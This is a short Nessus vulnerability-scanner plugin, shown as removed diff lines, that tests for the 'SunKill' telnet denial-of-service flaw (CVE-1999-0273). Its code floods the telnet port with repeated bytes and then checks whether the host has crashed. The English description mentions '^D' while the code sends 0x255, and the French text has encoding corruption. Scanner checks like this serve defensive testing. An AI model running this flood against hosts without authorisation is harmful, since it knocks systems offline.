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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10272);
- script_version ("$Revision: 1.15 $");
- script_cve_id("CVE-1999-0273");
-
- name["english"] = "SunKill";
- name["francais"] = "SunKill";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "It was possible to make the
- remote Sun crash by flooding it with ^D characters
- instead of entering our login.
-
- This flaw allows an attacker to prevent
- your network from working properly.
-
-
- Solution : Upgrade your telnet server and filter
- the incoming traffic to this port.
-
- Risk factor : High";
-
- desc["francais"] = "Il s'est avΘrΘ possible de
- faire planter la Sun distante en l'inondant
- de caractΦres ^D α la place d'entrer un nom
- de login.
-
- Ce problΦme permet α un pirate d'empecher
- votre rΘseau de fonctionner correctement.
-
-
- Solution : Mettez α jour votre serveur telnet, et
- filtrez le traffic entrant vers ce port.
-
- Facteur de risque : ElevΘ";
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Crashes the remote Sun";
- summary["francais"] = "Plante la Sun distante";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_KILL_HOST);
-
-
- script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
- francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "wingate.nasl");
- script_exclude_keys("wingate/enabled");
- script_require_ports(23, "Services/telnet");
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- # Wingate doesnt establish properly the telnet
- # session, so if we know that we are facing it,
- # we go away
-
- wingate = get_kb_item("wingate/enabled");
- if(wingate)exit(0);
-
- port = get_kb_item("Services/telnet");
- if(!port)port = 23;
- if(get_port_state(port))
- {
- soc = open_sock_tcp(port);
- if(soc)
- {
- c = telnet_init(soc);
- d = raw_string(0x255);
- data = crap(length:2550, data:d);
- send(socket:soc, data:data);
- close(soc);
- soc2 = open_sock_tcp(port);
- if(!soc2){
- set_kb_item(name:"Host/dead", value:TRUE);
- security_hole(port);
- }
- else close(soc2);
- }
- }
-